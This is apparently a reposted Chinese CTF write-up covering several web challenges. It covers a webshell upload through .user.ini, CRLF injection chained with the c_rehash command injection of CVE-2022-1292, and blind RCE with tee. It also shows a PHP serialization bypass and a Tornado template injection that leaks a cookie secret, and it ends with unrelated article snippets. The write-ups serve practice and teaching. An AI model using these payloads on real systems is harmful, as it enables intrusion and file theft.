NSSCTF第14页(1)

[suctf 2019]checkin

利用了几种方式,发现都不行

1是修改mime类型,2是修改php标签为js标签,3是修改文件后缀

在试试用配置文件来上传

发现上传.user.ini文件成功

发现上传成功

上传的png图片

 访问上传路径发现可以访问,上马成功

ls /

cat /flag

[CISCN 2022 初赛]online_crt 

看标签是一个cve漏洞

CVE-2022-1292的分析 - 先知社区

扫后台扫出来一个网页

[CISCN 2022 初赛]online_crt__rev1ve的博客-CSDN博客

 给了源码附件

app.py源码

import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import requestapp = Flask(__name__)app.config['SECRET_KEY'] = os.urandom(16)def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):root_key = rsa.generate_private_key(public_exponent=65537,key_size=2048,backend=default_backend())subject = issuer = x509.Name([x509.NameAttribute(NameOID.COUNTRY_NAME, Country),x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),x509.NameAttribute(NameOID.LOCALITY_NAME, City),x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),x509.NameAttribute(NameOID.COMMON_NAME, CommonName),x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),])root_cert = x509.CertificateBuilder().subject_name(subject).issuer_name(issuer).public_key(root_key.public_key()).serial_number(x509.random_serial_number()).not_valid_before(datetime.datetime.utcnow()).not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=3650)).sign(root_key, hashes.SHA256(), default_backend())crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"with open(crt_name, "wb") as f:f.write(root_cert.public_bytes(serialization.Encoding.PEM))return crt_name@app.route('/', methods=['GET', 'POST'])
def index():return render_template("index.html")@app.route('
', methods=['GET', 'POST'])
def upload():Country = request.form.get("Country", "CN")Province = request.form.get("Province", "a")City = request.form.get("City", "a")OrganizationalName = request.form.get("OrganizationalName", "a")CommonName = request.form.get("CommonName", "a")EmailAddress = request.form.get("EmailAddress", "a")return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)@app.route('/createlink', methods=['GET'])
def info():json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}return json.dumps(json_data)@app.route('/proxy', methods=['GET'])
def proxy():uri = request.form.get("uri", "/")client = socket.socket()client.connect(('localhost', 8887))msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close'''client.send(msg.encode())data = client.recv(2048)client.close()return data.decode()app.run(host="0.0.0.0", port=8888)

gpt的解释

此代码似乎是定义 Flask Web 应用程序的 Python 脚本。让我们来看看主要组件及其功能:

  1. 导入语句:该脚本导入其功能所需的多个模块和包,包括 、 、 、 、 和 。datetimejsonossocketuuidcryptographyFlask

  2. Flask 应用程序设置:使用 创建 Flask 应用程序的实例,并使用 设置应用程序的密钥。Flask(__name__)app.config['SECRET_KEY']

  3. get_crt函数:此函数根据提供的输入参数生成 X.509 证书(SSL/TLS 证书)。它使用该库生成私钥、生成证书并将其保存到文件中。返回生成的证书的文件路径。cryptography

  4. 路由定义:

    • '/':此路由与应用程序的根 URL 相关联。它使用 呈现名为“index.html”的 HTML 模板。render_template
    • '/getcrt':此路由与 URL 路径“/getcrt”相关联,并接受 GET 和 POST 请求。它从请求(国家/地区、省、市、组织名称、公用名、电子邮件地址)中检索表单数据,并使用提供的数据调用函数。然后,将 的返回值作为响应返回。get_crtget_crt
    • '/createlink':此路由与 URL 路径“/createlink”相关联,并接受 GET 请求。它会生成一个 JSON 响应,其中包含有关“static/crt/”目录中生成的证书文件的信息。
    • '/proxy':此路由与 URL 路径“/proxy”相关联,并接受 GET 请求。它从请求中检索 URI 参数,并在端口 8887 上与 localhost 服务器建立套接字连接。它向指定的 URI 发送 HTTP GET 请求,并将接收到的数据作为响应返回。
  5. app.run():此方法启动 Flask 开发服务器,允许应用程序侦听所有网络接口 (host=“0.0.0.0”) 和端口 8888 上的传入请求。

总之,此脚本定义了一个 Flask Web 应用程序,该应用程序提供用于生成 X.509 证书、呈现 HTML 模板以及充当代理服务器以向指定 URI 发出 HTTP 请求的功能。

分析一下,采用的是flask模板,总计4个路由

    /根目录返回一个index.htmld的界面,也就是我们开题看到的界面
    /getcrt路由配合getcrt函数用来生成X509证书(了解一下就行,它会根据我们提交的信息创建一个.crt的证书文件,存入static/crt/目录下)
    /createlink路由,用来建立一个与我们刚才生成的.crt证书的链接,去访问它的内容
    /proxy路由,用来建立一个内网 8887端口的连接,与go源码部分进行对接,并将发送一段请求信息给go源码的部分进行处理

go源码

package main

import (

    "github.com/gin-gonic/gin"

    "os"

    "strings"

)

func admin(c *gin.Context) {

    staticPath := "/app/static/crt/"

    oldname := c.DefaultQuery("oldname", "")

    newname := c.DefaultQuery("newname", "")

    if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {

        c.String(500, "error")

        return

    }

    if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {

        err := os.Rename(staticPath+oldname, staticPath+newname)

        if err != nil {

            return

        }

        c.String(200, newname)

        return

    }

    c.String(200, "no")

}

func index(c *gin.Context) {

    c.String(200, "hello world")

}

func main() {

    router := gin.Default()

    router.GET("/", index)

    router.GET("/admin/rename", admin)

    if err := router.Run(":8887"); err != nil {

        panic(err)

    }

}

这一段代码比较重要的就是只要绕过if语句就可以修改我们指定的.crt后缀的证书文件名 

第一个判断直接将路径中的/替换为%2f即可通过,第二个要求HOST为admin 

本题漏洞
出在/createlink这个路由下的c_rehash指令,c_rehash是openssl中的一个用perl编写的脚本工具,用于批量创建证书等文件 hash命名的符号链接,是当用户可控文件名时的命令注入 

 在openssl中的c_rehash存在命令注入, 允许以c_reash脚本的权限执行命令

访问/getcrt生成一个证书 9eaf2906-aea8-4bf7-9d5f-14c266c18856.crt

 然后通过访问 /proxy路由来打通与内容 go源码业务部分的连接,修改我们的证书文件名,并加上我们的命令执行RCE
payload生效的内容是在同目录下生成一个flag.txt文件并向flag.txt文件写入我们 cat /*的结果

uri是被直接拼接进去的,因此存在CRLF漏洞,我们就可以篡改HOST为admin从而满足go server修改文件名的要求。

CRLF注入漏洞、URL重定向、资源处理拒绝服务详细介绍(附实例)_crlf漏洞_ranzi.的博客-CSDN博客

CRLF注入漏洞(响应截断)攻击实战_crlf漏洞_归去来兮-zangcc的博客-CSDN博客

访问/proxy,同时抓包修改请求方式为GET以及在uri参数后回车两次

抓get包,然后利用bp改成post,最后再手改为get请求,发送

访问/createlink路由,执行 c_rehash命令,进而触发命令执行,使payload生效

payload生效的内容是在同目录下生成一个flag.txt文件并向flag.txt文件写入我们 cat /*的结果

访问同目录static/crt/flag.txt 拿到flag信息 

[SWPUCTF 2023 秋季新生赛]RCE-PLUS 

题目提示是无回显的rce,之前做就是用tee命令写入文件

?cmd=ls / | tee 1.txt 

?cmd=cat /fl\ag | tee 1.txt 

 [CISCN 2023 华北]ez_date

代码审计

定义了公共变量a,b,file

a不等于b但是a,b的MD5和sha1值相等;如果为true,那么将file值传入date函数并赋值给变量content;使用 uniqid() 生成一个唯一的标识符,并将其与 .txt 扩展名拼接为文件名,赋值给变量 $uuid;最后就是进行正则匹配,读取文件 

preg_replace('/((\s)*(\n)+(\s)*)/i', '', $data):此函数对字符串执行正则表达式替换。使用的正则表达式模式是 ,它匹配空格字符和换行符的任意组合。替换参数是一个空字符串,这意味着匹配的模式将被替换为任何内容(即删除)。$data'/((\s)*(\n)+(\s)*)/i'''

<?php

class date{
    public $a;
    public $b;
    public $file;
}

$A=new date();
$A->a=1;
$A->b='1';
$A->file='/f\l\a\g';
echo base64_encode(serialize($A));
?>

得到flag

[护网杯 2018]easy_tornado 

点flag.txtc出现了flag的文件

hint.txt

welcome.txt

查了资料之后才想起来

Tornado模板注入 - 先知社区

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

url形如 :http://35848a5d-982a-45c9-a772-1b59e317746f.node3.buuoj.cn/file?filename=/flag.txt&filehash=32c8987c242bb2c5f0b0da175550dab6

根据提示应该payload应该是file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename)),因此现在需要找到cookie_secret

将filename替换为/fllllllllllllag 后发现报错,修改/error?msg=Error错误信息中的msg页面也跟着变
 

 根据render提示应该是模板注入,但存在过滤,ORZ

这里用到的是handler.setting对象

handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings

传递error?msg={{ handler.settings }}得到:

 得到secret后,就是计算访问flag文件的hash,获取flag

cookie_secret=eb535b6a-633c-4b3d-a321-8d1637396e1d

脚本:

import hashlibs1=(hashlib.md5("/fllllllllllllag".encode())).hexdigest()
print((hashlib.md5(("eb535b6a-633c-4b3d-a321-8d1637396e1d"+s1).encode())).hexdigest())

得到hash值

访问flag文件,得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/183656.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【springboot】Spring 官方抛弃了 Java 8!新idea如何创建java8项目

解决idea至少创建jdk17项目 问题idea现在只能创建最少jdk17&#xff0c;不能创建java8了吗?解决 问题 idea现在只能创建最少jdk17&#xff0c;不能创建java8了吗? 我本来以为是 IDEA 版本更新导致的 Bug&#xff0c;开始还没在意。 直到我今天自己初始化项目时才发现&…

解决VS2019无法正常显示XAML设计界面问题

问题描述 当VS2019配置工程为x64模式时&#xff0c;打开工程中XAML页面可能出现如下错误提示&#xff0c;进而无法正常显示XAML设计界面。 There was an exception when loading the design time assembly C:\Users\Administrator\AppData\Local\Microsoft\VisualStudio\16.0_…

某60物联网安全之IoT漏洞利用实操2学习记录

物联网安全 文章目录 物联网安全IoT漏洞利用实操2&#xff08;内存破坏漏洞&#xff09;实验目的实验环境实验工具实验原理实验内容实验步骤ARM ROP构造与调试MIPS栈溢出漏洞逆向分析 IoT漏洞利用实操2&#xff08;内存破坏漏洞&#xff09; 实验目的 学会ARM栈溢出漏洞的原理…

二.运算符

运算符 1.算术运算符2.比较运算符3.逻辑运算符 1.算术运算符 算数运算符主要用于数学运算&#xff0c;其可以连接运算符前后的两个数值或表达式&#xff0c;对数值或表达式进行 - * / 和 取模%运算 1.加减法运算符 mysql> SELECT 100,100 0,100 - 0,100 50,100 50 - …

输入通道数 和 输出通道数 的理解

输入通道数&#xff08;in_channels&#xff09;输出通道数&#xff08;out_channels&#xff09; 在卷积神经网络中通常需要输入 in_channels 和 out_channels &#xff0c;即输入通道数和输出通道数&#xff0c;它们代表什么意思呢&#xff1f; 输入通道数&#xff08;in_c…

nexus

一、nexus介绍二、nexus部署部署java环境安装配置nexus浏览器访问 三、创建一个内网yum源四、创建一个代理yum仓库五、jenkins 使用 nexus插件jenkins部署maven-proxy配置 maven 工程查看构建和上传 一、nexus介绍 Nexus 是一个强大的仓库管理工具&#xff0c;用于管理和分发 …

linux用户组管理_创建删除密码修改

2.2 用户/组管理 2.2.1 用户 2.2.1.1 useradd&#xff1a;创建用户 添加用户账号就是在系统中创建一个新账号&#xff0c;然后为新账号分配用户号、用户组、主目录和登录Shell等资源。 useradd命令的基本语法如下&#xff1a; useradd 选项 用户名 常见选项参数&#xff…

瑞云科技参与《数字孪生世界白皮书》编写,实时云渲染助力数字孪生

为了促进数字孪生技术的发展和应用&#xff0c;易知微与数字孪生世界企业联盟联合众多行业专家以及多家业内企业共同编写了《数字孪生世界白皮书&#xff08;2023&#xff09;》。该白皮书从数字孪生的综述、应用架构、核心技术、新型技术成果和重点行业应用等方面&#xff0c;…

【算法刷题】Day9

文章目录 611. 有效三角形的个数![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/9d627e680e9144a2b67474a1d80aa030.png)题解&#xff1a;代码&#xff1a; LCR 179. 查找总价格为目标值的两个商品题解&#xff1a;代码&#xff1a; 611. 有效三角形的个数 原题链…

端口隔离度

端口隔离度 隔离度为&#xff08;本振或射频信号&#xff09;泄漏到其他端口的功率与输入功率之比&#xff0c;单位是dB。 比如 RF to LO Isolation 表示 射频输入信号的功率 与 泄漏到LO端口的功率 之比。 而 LO to RF Isolation 则表示 本振输入信号的功率 与 泄漏到RF端口的…

Ubuntu部署jmeter与ant

为了整合接口自动化的持续集成工具&#xff0c;我将jmeter与ant都部署在了Jenkins容器中&#xff0c;并配置了build.xml 一、ubuntu部署jdk 1&#xff1a;先下载jdk-8u74-linux-x64.tar.gz&#xff0c;上传到服务器&#xff0c;这里上传文件用到了ubuntu 下的 lrzsz。 ubunt…

Spring-AOP与声明式事务

为什么要用AOP ①现有代码缺陷 针对带日志功能的实现类&#xff0c;我们发现有如下缺陷&#xff1a; 对核心业务功能有干扰&#xff0c;导致程序员在开发核心业务功能时分散了精力 附加功能分散在各个业务功能方法中&#xff0c;不利于统一维护 ②解决思路 解决这两个问题&…

TOUGH系列软件解读

TOUGH系列软件是由美国劳伦斯伯克利实验室开发的&#xff0c;旨在解决非饱和带中地下水、热运移的通用模拟软件。和传统地下水模拟软件Feflow和Modflow不同&#xff0c;TOUGH系列软件采用模块化设计和有限积分差网格剖分方法&#xff0c;通过配合不同状态方程&#xff08;EOS模…

同旺科技 分布式数字温度传感器

内附链接 1、数字温度传感器 主要特性有&#xff1a; ● 支持PT100 / PT1000 两种铂电阻&#xff1b; ● 支持 2线 / 3线 / 4线 制接线方式&#xff1b; ● 支持5V&#xff5e;17V DC电源供电&#xff1b; ● 支持电源反接保护&#xff1b; ● 支持通讯波特率1200bps、2…

使用Java对yaml和properties互转,保证顺序、实测无BUG版本

使用Java对yaml和properties互转 一、 前言1.1 顺序错乱的原因1.2 遗漏子节点的原因 二、优化措施三、源码 一、 前言 浏览了一圈网上的版本&#xff0c;大多存在以下问题&#xff1a; 转换后顺序错乱遗漏子节点 基于此进行了优化&#xff0c;如果只是想直接转换&#xff0c…

1.3 排序算法

1.1 冒泡排序 public class BubbleSort {public static void main(String[] args) {int[] arr {133,322,13,444,54,621,174,18,19,2};System.out.println(Arrays.toString(arr));BubSort(arr);System.out.println(Arrays.toString(arr));}//冒泡排序public static void BubSo…

21.Oracle的程序包(Package)

Oracle的程序包Package 一、Package的概述1、什么是Oracle11g的Package2、Package的作用是什么3、常见的系统内置Package 二、创建Package的相关语法1、Package的创建语法2、Package的删除3、具体案例4、Package的使用5、与Package相关的其他语法 三、常见内置程序包的使用1、…

element-plus el-dialog 弹窗隐藏遮罩并且可以控制弹窗后的元素、点击、滚动、其他事件操作等

场景 el-dialog 隐藏遮罩并且可以控制弹窗后的元素、点击、滚动、其他事件操作&#xff0c;比如一个弹窗打开了&#xff0c;我要能控制弹窗后面的滚动、点击等等一系列事件。 修改方法 首先我们需要隐藏弹窗遮罩 :modal"false"&#xff0c;并且给 el-dialog 弹窗…

Image Super-Resolution with Text Prompt Diffusion

Image Super-Resolution with Text Prompt Diffusion (Paper reading) Zheng Chen, Shanghai Jiao Tong University, arXiv23, Code, Paper 1. 前言 受多模态方法和文本提示图像处理进步的启发&#xff0c;我们将文本提示引入图像SR&#xff0c;以提供退化先验。具体来说&am…

2023.11.30 homework

兴趣最重要了&#xff0c;没兴趣不喜欢勉强带来的苦楚&#xff0c;并不能促使变好变优秀。 虽然我们的社会环境依旧很残酷&#xff0c;各种各样的硬性要求。